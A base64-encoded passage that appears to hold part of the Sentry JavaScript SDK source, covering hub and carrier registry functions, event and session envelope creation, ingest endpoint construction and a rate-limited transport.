gRnVuY3Rpb24gbGFja3MgZW5kaW5nIHJldHVybiBzdGF0ZW1lbnQgYW5kIHJldHVybiB0eXBlIGRvZXMgbm90IGluY2x1ZGUgJ3VuZGVmaW5lZCcuIHRzKDIzNjYpCiAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIEB0eXBlc2NyaXB0LWVzbGludC9uby1leHBsaWNpdC1hbnkKICAgX2NhbGxFeHRlbnNpb25NZXRob2QobWV0aG9kLCAuLi5hcmdzKSB7CiAgICBjb25zdCBjYXJyaWVyID0gZ2V0TWFpbkNhcnJpZXIoKTsKICAgIGNvbnN0IHNlbnRyeSA9IGNhcnJpZXIuX19TRU5UUllfXzsKICAgIGlmIChzZW50cnkgJiYgc2VudHJ5LmV4dGVuc2lvbnMgJiYgdHlwZW9mIHNlbnRyeS5leHRlbnNpb25zW21ldGhvZF0gPT09ICdmdW5jdGlvbicpIHsKICAgICAgcmV0dXJuIHNlbnRyeS5leHRlbnNpb25zW21ldGhvZF0uYXBwbHkodGhpcywgYXJncyk7CiAgICB9CiAgICBERUJVR19CVUlMRCAmJiBsb2dnZXIud2FybihgRXh0ZW5zaW9uIG1ldGhvZCAke21ldGhvZH0gY291bGRuJ3QgYmUgZm91bmQsIGRvaW5nIG5vdGhpbmcuYCk7CiAgfQp9CgovKioKICogUmV0dXJucyB0aGUgZ2xvYmFsIHNoaW0gcmVnaXN0cnkuCiAqCiAqIEZJWE1FOiBUaGlzIGZ1bmN0aW9uIGlzIHByb2JsZW1hdGljLCBiZWNhdXNlIGRlc3BpdGUgYWx3YXlzIHJldHVybmluZyBhIHZhbGlkIENhcnJpZXIsCiAqIGl0IGhhcyBhbiBvcHRpb25hbCBgX19TRU5UUllfX2AgcHJvcGVydHksIHdoaWNoIHRoZW4gaW4gdHVybiByZXF1aXJlcyB1cyB0byBhbHdheXMgcGVyZm9ybSBhbiB1bm5lY2Vzc2FyeSBjaGVjawogKiBhdCB0aGUgY2FsbC1zaXRlLiBXZSBhbHdheXMgYWNjZXNzIHRoZSBjYXJyaWVyIHRocm91Z2ggdGhpcyBmdW5jdGlvbiwgc28gd2UgY2FuIGd1YXJhbnRlZSB0aGF0IGBfX1NFTlRSWV9fYCBpcyB0aGVyZS4KICoqLwpmdW5jdGlvbiBnZXRNYWluQ2FycmllcigpIHsKICBHTE9CQUxfT0JKLl9fU0VOVFJZX18gPSBHTE9CQUxfT0JKLl9fU0VOVFJZX18gfHwgewogICAgZXh0ZW5zaW9uczoge30sCiAgICBodWI6IHVuZGVmaW5lZCwKICB9OwogIHJldHVybiBHTE9CQUxfT0JKOwp9CgovKioKICogUmVwbGFjZXMgdGhlIGN1cnJlbnQgbWFpbiBodWIgd2l0aCB0aGUgcGFzc2VkIG9uZSBvbiB0aGUgZ2xvYmFsIG9iamVjdAogKgogKiBAcmV0dXJucyBUaGUgb2xkIHJlcGxhY2VkIGh1YgogKgogKiBAZGVwcmVjYXRlZCBVc2UgYHNldEN1cnJlbnRDbGllbnQoKWAgaW5zdGVhZC4KICovCi8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgpmdW5jdGlvbiBtYWtlTWFpbihodWIpIHsKICBjb25zdCByZWdpc3RyeSA9IGdldE1haW5DYXJyaWVyKCk7CiAgY29uc3Qgb2xkSHViID0gZ2V0SHViRnJvbUNhcnJpZXIocmVnaXN0cnkpOwogIHNldEh1Yk9uQ2FycmllcihyZWdpc3RyeSwgaHViKTsKICByZXR1cm4gb2xkSHViOwp9CgovKioKICogUmV0dXJucyB0aGUgZGVmYXVsdCBodWIgaW5zdGFuY2UuCiAqCiAqIElmIGEgaHViIGlzIGFscmVhZHkgcmVnaXN0ZXJlZCBpbiB0aGUgZ2xvYmFsIGNhcnJpZXIgYnV0IHRoaXMgbW9kdWxlCiAqIGNvbnRhaW5zIGEgbW9yZSByZWNlbnQgdmVyc2lvbiwgaXQgcmVwbGFjZXMgdGhlIHJlZ2lzdGVyZWQgdmVyc2lvbi4KICogT3RoZXJ3aXNlLCB0aGUgY3VycmVudGx5IHJlZ2lzdGVyZWQgaHViIHdpbGwgYmUgcmV0dXJuZWQuCiAqCiAqIEBkZXByZWNhdGVkIFVzZSB0aGUgcmVzcGVjdGl2ZSByZXBsYWNlbWVudCBtZXRob2QgZGlyZWN0bHkgaW5zdGVhZC4KICovCi8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgpmdW5jdGlvbiBnZXRDdXJyZW50SHViKCkgewogIC8vIEdldCBtYWluIGNhcnJpZXIgKGdsb2JhbCBmb3IgZXZlcnkgZW52aXJvbm1lbnQpCiAgY29uc3QgcmVnaXN0cnkgPSBnZXRNYWluQ2FycmllcigpOwoKICBpZiAocmVnaXN0cnkuX19TRU5UUllfXyAmJiByZWdpc3RyeS5fX1NFTlRSWV9fLmFjcykgewogICAgY29uc3QgaHViID0gcmVnaXN0cnkuX19TRU5UUllfXy5hY3MuZ2V0Q3VycmVudEh1YigpOwoKICAgIGlmIChodWIpIHsKICAgICAgcmV0dXJuIGh1YjsKICAgIH0KICB9CgogIC8vIFJldHVybiBodWIgdGhhdCBsaXZlcyBvbiBhIGdsb2JhbCBvYmplY3QKICByZXR1cm4gZ2V0R2xvYmFsSHViKHJlZ2lzdHJ5KTsKfQoKLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCmZ1bmN0aW9uIGdldEdsb2JhbEh1YihyZWdpc3RyeSA9IGdldE1haW5DYXJyaWVyKCkpIHsKICAvLyBJZiB0aGVyZSdzIG5vIGh1Yiwgb3IgaXRzIGFuIG9sZCBBUEksIGFzc2lnbiBhIG5ldyBvbmUKCiAgaWYgKAogICAgIWhhc0h1Yk9uQ2FycmllcihyZWdpc3RyeSkgfHwKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgogICAgZ2V0SHViRnJvbUNhcnJpZXIocmVnaXN0cnkpLmlzT2xkZXJUaGFuKEFQSV9WRVJTSU9OKQogICkgewogICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgICBzZXRIdWJPbkNhcnJpZXIocmVnaXN0cnksIG5ldyBIdWIoKSk7CiAgfQoKICAvLyBSZXR1cm4gaHViIHRoYXQgbGl2ZXMgb24gYSBnbG9iYWwgb2JqZWN0CiAgcmV0dXJuIGdldEh1YkZyb21DYXJyaWVyKHJlZ2lzdHJ5KTsKfQoKLyoqCiAqIFRoaXMgd2lsbCB0ZWxsIHdoZXRoZXIgYSBjYXJyaWVyIGhhcyBhIGh1YiBvbiBpdCBvciBub3QKICogQHBhcmFtIGNhcnJpZXIgb2JqZWN0CiAqLwpmdW5jdGlvbiBoYXNIdWJPbkNhcnJpZXIoY2FycmllcikgewogIHJldHVybiAhIShjYXJyaWVyICYmIGNhcnJpZXIuX19TRU5UUllfXyAmJiBjYXJyaWVyLl9fU0VOVFJZX18uaHViKTsKfQoKLyoqCiAqIFRoaXMgd2lsbCBjcmVhdGUgYSBuZXcge0BsaW5rIEh1Yn0gYW5kIGFkZCB0byB0aGUgcGFzc2VkIG9iamVjdCBvbgogKiBfX1NFTlRSWV9fLmh1Yi4KICogQHBhcmFtIGNhcnJpZXIgb2JqZWN0CiAqIEBoaWRkZW4KICovCi8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgpmdW5jdGlvbiBnZXRIdWJGcm9tQ2FycmllcihjYXJyaWVyKSB7CiAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIGRlcHJlY2F0aW9uL2RlcHJlY2F0aW9uCiAgcmV0dXJuIGdldEdsb2JhbFNpbmdsZXRvbignaHViJywgKCkgPT4gbmV3IEh1YigpLCBjYXJyaWVyKTsKfQoKLyoqCiAqIFRoaXMgd2lsbCBzZXQgcGFzc2VkIHtAbGluayBIdWJ9IG9uIHRoZSBwYXNzZWQgb2JqZWN0J3MgX19TRU5UUllfXy5odWIgYXR0cmlidXRlCiAqIEBwYXJhbSBjYXJyaWVyIG9iamVjdAogKiBAcGFyYW0gaHViIEh1YgogKiBAcmV0dXJucyBBIGJvb2xlYW4gaW5kaWNhdGluZyBzdWNjZXNzIG9yIGZhaWx1cmUKICovCi8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBkZXByZWNhdGlvbi9kZXByZWNhdGlvbgpmdW5jdGlvbiBzZXRIdWJPbkNhcnJpZXIoY2FycmllciwgaHViKSB7CiAgaWYgKCFjYXJyaWVyKSByZXR1cm4gZmFsc2U7CiAgY29uc3QgX19TRU5UUllfXyA9IChjYXJyaWVyLl9fU0VOVFJZX18gPSBjYXJyaWVyLl9fU0VOVFJZX18gfHwge30pOwogIF9fU0VOVFJZX18uaHViID0gaHViOwogIHJldHVybiB0cnVlOwp9CgovKioKICogQXBwbHkgU2RrSW5mbyAobmFtZSwgdmVyc2lvbiwgcGFja2FnZXMsIGludGVncmF0aW9ucykgdG8gdGhlIGNvcnJlc3BvbmRpbmcgZXZlbnQga2V5LgogKiBNZXJnZSB3aXRoIGV4aXN0aW5nIGRhdGEgaWYgYW55LgogKiovCmZ1bmN0aW9uIGVuaGFuY2VFdmVudFdpdGhTZGtJbmZvKGV2ZW50LCBzZGtJbmZvKSB7CiAgaWYgKCFzZGtJbmZvKSB7CiAgICByZXR1cm4gZXZlbnQ7CiAgfQogIGV2ZW50LnNkayA9IGV2ZW50LnNkayB8fCB7fTsKICBldmVudC5zZGsubmFtZSA9IGV2ZW50LnNkay5uYW1lIHx8IHNka0luZm8ubmFtZTsKICBldmVudC5zZGsudmVyc2lvbiA9IGV2ZW50LnNkay52ZXJzaW9uIHx8IHNka0luZm8udmVyc2lvbjsKICBldmVudC5zZGsuaW50ZWdyYXRpb25zID0gWy4uLihldmVudC5zZGsuaW50ZWdyYXRpb25zIHx8IFtdKSwgLi4uKHNka0luZm8uaW50ZWdyYXRpb25zIHx8IFtdKV07CiAgZXZlbnQuc2RrLnBhY2thZ2VzID0gWy4uLihldmVudC5zZGsucGFja2FnZXMgfHwgW10pLCAuLi4oc2RrSW5mby5wYWNrYWdlcyB8fCBbXSldOwogIHJldHVybiBldmVudDsKfQoKLyoqIENyZWF0ZXMgYW4gZW52ZWxvcGUgZnJvbSBhIFNlc3Npb24gKi8KZnVuY3Rpb24gY3JlYXRlU2Vzc2lvbkVudmVsb3BlKAogIHNlc3Npb24sCiAgZHNuLAogIG1ldGFkYXRhLAogIHR1bm5lbCwKKSB7CiAgY29uc3Qgc2RrSW5mbyA9IGdldFNka01ldGFkYXRhRm9yRW52ZWxvcGVIZWFkZXIobWV0YWRhdGEpOwogIGNvbnN0IGVudmVsb3BlSGVhZGVycyA9IHsKICAgIHNlbnRfYXQ6IG5ldyBEYXRlKCkudG9JU09TdHJpbmcoKSwKICAgIC4uLihzZGtJbmZvICYmIHsgc2RrOiBzZGtJbmZvIH0pLAogICAgLi4uKCEhdHVubmVsICYmIGRzbiAmJiB7IGRzbjogZHNuVG9TdHJpbmcoZHNuKSB9KSwKICB9OwoKICBjb25zdCBlbnZlbG9wZUl0ZW0gPQogICAgJ2FnZ3JlZ2F0ZXMnIGluIHNlc3Npb24gPyBbeyB0eXBlOiAnc2Vzc2lvbnMnIH0sIHNlc3Npb25dIDogW3sgdHlwZTogJ3Nlc3Npb24nIH0sIHNlc3Npb24udG9KU09OKCldOwoKICByZXR1cm4gY3JlYXRlRW52ZWxvcGUoZW52ZWxvcGVIZWFkZXJzLCBbZW52ZWxvcGVJdGVtXSk7Cn0KCi8qKgogKiBDcmVhdGUgYW4gRW52ZWxvcGUgZnJvbSBhbiBldmVudC4KICovCmZ1bmN0aW9uIGNyZWF0ZUV2ZW50RW52ZWxvcGUoCiAgZXZlbnQsCiAgZHNuLAogIG1ldGFkYXRhLAogIHR1bm5lbCwKKSB7CiAgY29uc3Qgc2RrSW5mbyA9IGdldFNka01ldGFkYXRhRm9yRW52ZWxvcGVIZWFkZXIobWV0YWRhdGEpOwoKICAvKgogICAgTm90ZTogRHVlIHRvIFRTLCBldmVudC50eXBlIG1heSBiZSBgcmVwbGF5X2V2ZW50YCwgdGhlb3JldGljYWxseS4KICAgIEluIHByYWN0aWNlLCB3ZSBuZXZlciBjYWxsIGBjcmVhdGVFdmVudEVudmVsb3BlYCB3aXRoIGByZXBsYXlfZXZlbnRgIHR5cGUsCiAgICBhbmQgd2UnZCBoYXZlIHRvIGFkanV0IGEgbG9vb3Qgb2YgdHlwZXMgdG8gbWFrZSB0aGlzIHdvcmsgcHJvcGVybHkuCiAgICBXZSB3YW50IHRvIGF2b2lkIGNhc3RpbmcgdGhpcyBhcm91bmQsIGFzIHRoYXQgY291bGQgbGVhZCB0byBidWdzIChlLmcuIHdoZW4gd2UgYWRkIGFub3RoZXIgdHlwZSkKICAgIFNvIHRoZSBzYWZlIGNob2ljZSBpcyB0byByZWFsbHkgZ3VhcmQgYWdhaW5zdCB0aGUgcmVwbGF5X2V2ZW50IHR5cGUgaGVyZS4KICAqLwogIGNvbnN0IGV2ZW50VHlwZSA9IGV2ZW50LnR5cGUgJiYgZXZlbnQudHlwZSAhPT0gJ3JlcGxheV9ldmVudCcgPyBldmVudC50eXBlIDogJ2V2ZW50JzsKCiAgZW5oYW5jZUV2ZW50V2l0aFNka0luZm8oZXZlbnQsIG1ldGFkYXRhICYmIG1ldGFkYXRhLnNkayk7CgogIGNvbnN0IGVudmVsb3BlSGVhZGVycyA9IGNyZWF0ZUV2ZW50RW52ZWxvcGVIZWFkZXJzKGV2ZW50LCBzZGtJbmZvLCB0dW5uZWwsIGRzbik7CgogIC8vIFByZXZlbnQgdGhpcyBkYXRhICh3aGljaCwgaWYgaXQgZXhpc3RzLCB3YXMgdXNlZCBpbiBlYXJsaWVyIHN0ZXBzIGluIHRoZSBwcm9jZXNzaW5nIHBpcGVsaW5lKSBmcm9tIGJlaW5nIHNlbnQgdG8KICAvLyBzZW50cnkuIChOb3RlOiBPdXIgdXNlIG9mIHRoaXMgcHJvcGVydHkgY29tZXMgYW5kIGdvZXMgd2l0aCB3aGF0ZXZlciB3ZSBtaWdodCBiZSBkZWJ1Z2dpbmcsIHdoYXRldmVyIGhhY2tzIHdlIG1heQogIC8vIGhhdmUgdGVtcG9yYXJpbHkgYWRkZWQsIGV0Yy4gRXZlbiBpZiB3ZSBkb24ndCBoYXBwZW4gdG8gYmUgdXNpbmcgaXQgYXQgc29tZSBwb2ludCBpbiB0aGUgZnV0dXJlLCBsZXQncyBub3QgZ2V0IHJpZAogIC8vIG9mIHRoaXMgYGRlbGV0ZWAsIGxlc3Qgd2UgbWlzcyBwdXR0aW5nIGl0IGJhY2sgaW4gdGhlIG5leHQgdGltZSB0aGUgcHJvcGVydHkgaXMgaW4gdXNlLikKICBkZWxldGUgZXZlbnQuc2RrUHJvY2Vzc2luZ01ldGFkYXRhOwoKICBjb25zdCBldmVudEl0ZW0gPSBbeyB0eXBlOiBldmVudFR5cGUgfSwgZXZlbnRdOwogIHJldHVybiBjcmVhdGVFbnZlbG9wZShlbnZlbG9wZUhlYWRlcnMsIFtldmVudEl0ZW1dKTsKfQoKY29uc3QgU0VOVFJZX0FQSV9WRVJTSU9OID0gJzcnOwoKLyoqIFJldHVybnMgdGhlIHByZWZpeCB0byBjb25zdHJ1Y3QgU2VudHJ5IGluZ2VzdGlvbiBBUEkgZW5kcG9pbnRzLiAqLwpmdW5jdGlvbiBnZXRCYXNlQXBpRW5kcG9pbnQoZHNuKSB7CiAgY29uc3QgcHJvdG9jb2wgPSBkc24ucHJvdG9jb2wgPyBgJHtkc24ucHJvdG9jb2x9OmAgOiAnJzsKICBjb25zdCBwb3J0ID0gZHNuLnBvcnQgPyBgOiR7ZHNuLnBvcnR9YCA6ICcnOwogIHJldHVybiBgJHtwcm90b2NvbH0vLyR7ZHNuLmhvc3R9JHtwb3J0fSR7ZHNuLnBhdGggPyBgLyR7ZHNuLnBhdGh9YCA6ICcnfS9hcGkvYDsKfQoKLyoqIFJldHVybnMgdGhlIGluZ2VzdCBBUEkgZW5kcG9pbnQgZm9yIHRhcmdldC4gKi8KZnVuY3Rpb24gX2dldEluZ2VzdEVuZHBvaW50KGRzbikgewogIHJldHVybiBgJHtnZXRCYXNlQXBpRW5kcG9pbnQoZHNuKX0ke2Rzbi5wcm9qZWN0SWR9L2VudmVsb3BlL2A7Cn0KCi8qKiBSZXR1cm5zIGEgVVJMLWVuY29kZWQgc3RyaW5nIHdpdGggYXV0aCBjb25maWcgc3VpdGFibGUgZm9yIGEgcXVlcnkgc3RyaW5nLiAqLwpmdW5jdGlvbiBfZW5jb2RlZEF1dGgoZHNuLCBzZGtJbmZvKSB7CiAgcmV0dXJuIHVybEVuY29kZSh7CiAgICAvLyBXZSBzZW5kIG9ubHkgdGhlIG1pbmltdW0gc2V0IG9mIHJlcXVpcmVkIGluZm9ybWF0aW9uLiBTZWUKICAgIC8vIGh0dHBzOi8vZ2l0aHViLmNvbS9nZXRzZW50cnkvc2VudHJ5LWphdmFzY3JpcHQvaXNzdWVzLzI1NzIuCiAgICBzZW50cnlfa2V5OiBkc24ucHVibGljS2V5LAogICAgc2VudHJ5X3ZlcnNpb246IFNFTlRSWV9BUElfVkVSU0lPTiwKICAgIC4uLihzZGtJbmZvICYmIHsgc2VudHJ5X2NsaWVudDogYCR7c2RrSW5mby5uYW1lfS8ke3Nka0luZm8udmVyc2lvbn1gIH0pLAogIH0pOwp9CgovKioKICogUmV0dXJucyB0aGUgZW52ZWxvcGUgZW5kcG9pbnQgVVJMIHdpdGggYXV0aCBpbiB0aGUgcXVlcnkgc3RyaW5nLgogKgogKiBTZW5kaW5nIGF1dGggYXMgcGFydCBvZiB0aGUgcXVlcnkgc3RyaW5nIGFuZCBub3QgYXMgY3VzdG9tIEhUVFAgaGVhZGVycyBhdm9pZHMgQ09SUyBwcmVmbGlnaHQgcmVxdWVzdHMuCiAqLwpmdW5jdGlvbiBnZXRFbnZlbG9wZUVuZHBvaW50V2l0aFVybEVuY29kZWRBdXRoKAogIGRzbiwKICAvLyBUT0RPICh2OCk6IFJlbW92ZSBgdHVubmVsT3JPcHRpb25zYCBpbiBmYXZvciBvZiBgb3B0aW9uc2AsIGFuZCB1c2UgdGhlIHN1YnN0aXR1dGUgY29kZSBiZWxvdwogIC8vIG9wdGlvbnM6IENsaWVudE9wdGlvbnMgPSB7fSBhcyBDbGllbnRPcHRpb25zLAogIHR1bm5lbE9yT3B0aW9ucyA9IHt9ICwKKSB7CiAgLy8gVE9ETyAodjgpOiBVc2UgdGhpcyBjb2RlIGluc3RlYWQKICAvLyBjb25zdCB7IHR1bm5lbCwgX21ldGFkYXRhID0ge30gfSA9IG9wdGlvbnM7CiAgLy8gcmV0dXJuIHR1bm5lbCA/IHR1bm5lbCA6IGAke19nZXRJbmdlc3RFbmRwb2ludChkc24pfT8ke19lbmNvZGVkQXV0aChkc24sIF9tZXRhZGF0YS5zZGspfWA7CgogIGNvbnN0IHR1bm5lbCA9IHR5cGVvZiB0dW5uZWxPck9wdGlvbnMgPT09ICdzdHJpbmcnID8gdHVubmVsT3JPcHRpb25zIDogdHVubmVsT3JPcHRpb25zLnR1bm5lbDsKICBjb25zdCBzZGtJbmZvID0KICAgIHR5cGVvZiB0dW5uZWxPck9wdGlvbnMgPT09ICdzdHJpbmcnIHx8ICF0dW5uZWxPck9wdGlvbnMuX21ldGFkYXRhID8gdW5kZWZpbmVkIDogdHVubmVsT3JPcHRpb25zLl9tZXRhZGF0YS5zZGs7CgogIHJldHVybiB0dW5uZWwgPyB0dW5uZWwgOiBgJHtfZ2V0SW5nZXN0RW5kcG9pbnQoZHNuKX0/JHtfZW5jb2RlZEF1dGgoZHNuLCBzZGtJbmZvKX1gOwp9Cgpjb25zdCBERUZBVUxUX1RSQU5TUE9SVF9CVUZGRVJfU0laRSA9IDMwOwoKLyoqCiAqIENyZWF0ZXMgYW4gaW5zdGFuY2Ugb2YgYSBTZW50cnkgYFRyYW5zcG9ydGAKICoKICogQHBhcmFtIG9wdGlvbnMKICogQHBhcmFtIG1ha2VSZXF1ZXN0CiAqLwpmdW5jdGlvbiBjcmVhdGVUcmFuc3BvcnQoCiAgb3B0aW9ucywKICBtYWtlUmVxdWVzdCwKICBidWZmZXIgPSBtYWtlUHJvbWlzZUJ1ZmZlcigKICAgIG9wdGlvbnMuYnVmZmVyU2l6ZSB8fCBERUZBVUxUX1RSQU5TUE9SVF9CVUZGRVJfU0laRSwKICApLAopIHsKICBsZXQgcmF0ZUxpbWl0cyA9IHt9OwogIGNvbnN0IGZsdXNoID0gKHRpbWVvdXQpID0+IGJ1ZmZlci5kcmFpbih0aW1lb3V0KTsKCiAgZnVuY3Rpb24gc2VuZChlbnZlbG9wZSkgewogICAgY29uc3QgZmlsdGVyZWRFbnZlbG9wZUl0ZW1zID0gW107CgogICAgLy8gRHJvcCByYXRlIGxpbWl0ZWQgaXRlbXMgZnJvbSBlbnZlbG9wZQogICAgZm9yRWFjaEVudmVsb3BlSXRlbShlbnZlbG9wZSwgKGl0ZW0sIHR5cGUpID0+IHsKICAgICAgY29uc3QgZGF0YUNhdGVnb3J5ID0gZW52ZWxvcGVJdGVtVHlwZVRvRGF0YUNhdGVnb3J5KHR5cGUpOwogICAgICBpZiAoaXNSYXRlTGltaXRlZChyYXRlTGltaXRzLCBkYXRhQ2F0ZWdvcnkpKSB7CiAgICAgICAgY29uc3QgZXZlbnQgPSBnZXRFdmVudEZvckVudmVsb3BlSXRlbShpdGVtLCB0eXBlKTsKICAgICAgICBvcHRpb25zLnJlY29yZERyb3BwZWRFdmVudCgncmF0ZWxpbWl0X2JhY2tvZmYnLCBkYXRhQ2F0ZWdvcnksIGV2ZW50KTsKICAgICAgfSBlbHNlIHsKICAgICAgICBmaWx0ZXJlZEVudmVsb3BlSXRlbXMucHVzaChpdGVtKTsKICAgICAgfQogICAgfSk7CgogICAgLy8gU2tpcCBzZW5kaW5nIGlmIGVudmVsb3BlIGlzIGVtcHR5IGFmdGVyIGZpbHRlcmluZyBvdXQgcmF0ZSBsaW1pdGVkIGV2ZW50cwogICAgaWYgKGZpbHRlcmVkRW52ZWxvcGVJdGVtcy5sZW5ndGggPT09IDApIHsKICAgICAgcmV0dXJuIHJlc29sdmVkU3luY1Byb21pc2UoKTsKICAgIH0KCiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgQHR5cGVzY3JpcHQtZXNsaW50L25vLWV4cGxpY2l0LWFueQogICAgY29uc3QgZmlsdGVyZWRFbnZlbG9wZSA9IGNyZWF0ZUVudmVsb3BlKGVudmVsb3BlWzBdLCBmaWx0ZXJlZEVudmVsb3BlSXRlbXMgKTsKCiAgICAvLyBDcmVhdGVzIGNsaWVudCByZXBvcnQgZm9yIGVhY2ggaXRlbSBpbiBhbiBlbnZlbG9wZQogICAgY29uc3QgcmVjb3JkRW52ZWxvcGVMb3NzID0gKHJlYXNvbikgPT4gewogICAgICBmb3JFYWNoRW52ZWxvcGVJdGVtKGZpbHRlcmVkRW52ZWxvcGUsIChpdGVtLCB0eXBlKSA9PiB7CiAgICAgICAgY29uc3QgZXZlbnQgPSBnZXRFdmVudEZvckVudmVsb3BlSXRlbShpdGVtLCB0eXBlKTsKICAgICAgICBvcHRpb25zLnJlY29yZERyb3BwZWRFdmVudChyZWFzb24sIGVudmVsb3BlSXRlbVR5cGVUb0RhdGFDYXRlZ29yeSh0eXBlKSwgZXZlbnQpOwogICAgICB9KTsKICAgIH07CgogICAgY29uc3QgcmVxdWVzdFRhc2sgPSAoKSA9PgogICAgICBtYWtlUmVxdWVzdCh7IGJvZHk6IHNlcmlhbGl6ZUVudmVsb3BlKGZpbHRlcmVkRW52ZWxvcGUsIG9wdGlvbnMudGV4dEVuY29kZXIpIH0pLnRoZW4oCiAgICAgICAgcmVzcG9uc2UgPT4gewogICAgICAgICAgLy8gV2UgZG9uJ3Qgd2FudCB0byB0aHJvdyBvbiBOT0sgcmVzcG9uc2VzLCBidXQgd2Ugd2FudCB0byBhdCBsZWFzdCBsb2cgdGhlbQogICAgICAgICAgaWYgKHJlc3BvbnNlLnN0YXR1c0NvZGUgIT09IHVuZGVmaW5lZCAmJiAocmVzcG9uc2Uuc3RhdHVzQ29kZSA8IDIwMCB8fCByZXNwb25zZS5zdGF0dXNDb2RlID49IDMwMCkpIHsKICAgICAgICAgICAgREVCVUdfQlVJTEQgJiYgbG9nZ2VyLndhcm4oYFNlbnRyeSByZXNwb25kZWQgd2l0aCBzdGF0dXMgY29kZSAke3Jlc3BvbnNlLnN0YXR1c0NvZGV9IHRvIHNlbnQgZXZlbnQuYCk7CiAgICAgICAgICB9CgogICAgICAgICAgcmF0ZUxpbWl0cyA9IHVwZGF0ZVJhdGVMaW1pdHMocmF0ZUxpbWl0cywgcmVzcG9uc2UpOwogICAgICAgICAgcmV0dXJuIHJlc3BvbnNlOwogICAgICAgIH0sCiAgICAgICAgZXJyb3IgPT4gewogICAgICAgICAgcmVjb3JkRW52ZWxvcGVMb3NzKCduZXR3b3JrX2Vycm9yJyk7CiAgICAgICAgICB0aHJvdyBlcnJvcjsKICAgICAgICB9LAogICAgICApOwoKICAgIHJldHVybiBidWZmZXIuYWRkKHJlcXVlc3RUYXNrKS50aGVuKAogICAgICByZXN1bHQgPT4gcmVzdWx0LAogICAgICBlcnJvciA9PiB7CiAgICAgICAgaWYgKGVycm9yIGluc3RhbmNlb2YgU2VudHJ5RXJyb3IpIHsKICAgICAgICAgIERFQlVHX0JVSUxEICYmIGxvZ2dlci5lcnJvcignU2tpcHBlZCBzZW5kaW5nIGV2ZW50IGJlY2F1c2UgYnVmZmVyIGlzIGZ1bGwuJyk7CiAgICAgICAgICByZWNvcmRFbnZlbG9wZUxvc3MoJ3F1ZXVlX292ZXJmbG93Jyk7CiAgICAgICAgICByZXR1cm4gcmVzb2x2ZWRTeW5jUHJvbWlzZSgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICB0aHJvdyBlcnJvcjsKICAgICAgICB9CiAgICAgIH0sCiAgICApOwogIH0KCiAgLy8gV2UgdXNlIHRoaXMgdG8gaWRlbnRpZmlmeSBpZiB0aGUgdHJhbnNwb3J0IGlzIHRoZSBiYXNlIHRyYW5zcG9ydAogIC8vIFRPRE8gKHY4KTogUmVtb3ZlIHRoaXMgYWdhaW4gYXMgd2UnbGwgbm8gbG9uZ2VyIG5lZWQgaXQKICBzZW5kLl9fc2VudHJ5X19iYXNlVHJhbnNwb3J0X18gPSB0cnVlOwoKICByZXR1cm4gewogICAgc2VuZCwKICAgIGZsdXNoLAogIH07Cn0KCmZ1bmN0aW9uIGdldEV2ZW50Rm9yRW52ZWxvcGVJdGVtKGl0ZW0sIHR5cGUpIHsKICBpZiAodHlwZSAhPT0gJ2V2ZW50JyAmJiB0eXBlICE9PSAndHJhbnNhY3Rpb24nKSB7CiAgICByZXR1cm4gdW5kZWZpbmVkOwogIH0KCiAgcmV0dXJuIEFycmF5LmlzQXJyYXkoaXRlbSkgPyAoaXRlbSApWzFdIDogdW5kZWZpbmVkOwp9CgovKiogbm9ybWFsaXplcyBXaW5kb3dzIHBhdGhzICovCmZ1bmN0aW9uIG5vcm1hbGl6ZVdpbmRvd3NQYXRoKHBhdGgpIHsKICByZXR1cm4gcGF0aAogICAgLnJlcGxhY2UoL15bQS1aXTovLCAnJykgLy8gcmVtb3ZlIFdpbmRvd3Mtc3R5bGUgcHJlZml4CiAgICAucmVwbGFjZSgvXFwvZywgJy8nKTsgLy8gcmVwbGFjZSBhbGwgYFxgIGluc3RhbmNlcyB3aXRoIGAvYAp9CgovKiogQ3JlYXRlcyBhIGZ1bmN0aW9uIHRoYXQgZ2V0cyB0aGUgbW9kdWxlIG5hbWUgZnJvbSBhIGZpbGVuYW1lICovCmZ1bmN0aW9uIGNyZWF0ZUdldE1vZHVsZUZyb21GaWxlbmFtZSgKICBiYXNlUGF0aCA9IHByb2Nlc3MuYXJndlsxXSA/IGRpcm5hbWUocHJvY2Vzcy5hcmd2WzFdKSA6IHByb2Nlc3MuY3dkKCksCiAgaXNXaW5kb3dzID0gc2VwID09PSAnXFwnLAopIHsKICBjb25zdCBub3JtYWxpemVkQmFzZSA9IGlzV2luZG93cyA/IG5vcm1hbGl6ZVdpbmRvd3NQYXRoKGJhc2VQYXRoKSA6IGJhc2VQYXRoOwoKICByZXR1cm4gKGZpbGVuYW1lKSA9PiB7CiAgICBpZiAoIWZpbGVuYW1lKSB7CiAgICAgIHJldHVybjsKICAgIH0KCiAgICBjb25zdCBub3JtYWxpemVkRmlsZW5hbWUgPSBpc1dpbmRvd3MgPyBub3JtYWxpemVXaW5kb3dzUGF0aChmaWxlbmFtZSkgOiBmaWxlbmFtZTsKCiAgICAvLyBlc2xpbnQtZGlzYWJsZS1uZXh0LWxpbmUgcHJlZmVyLWNvbnN0CiAgICBsZXQgeyBkaXIsIGJhc2U6IGZpbGUsIGV4dCB9ID0gcG9zaXgucGFyc2Uobm9ybWFsaXplZEZpbGVuYW1lKTsKCiAgICBpZiAoZXh0ID09PSAnLmpzJyB8fCBleHQgPT09ICcubWpzJyB8fCBleHQgPT09ICcuY2pzJykgewogICAgICBmaWxlID0gZmlsZS5zbGljZSgwLCBleHQubGVuZ3RoICogLTEpOwogICAgfQoKICAgIGlmICghZGlyKSB7CiAgICAgIC8vIE5vIGRpcm5hbWUgd2hhdHNvZXZlcgogICAgICB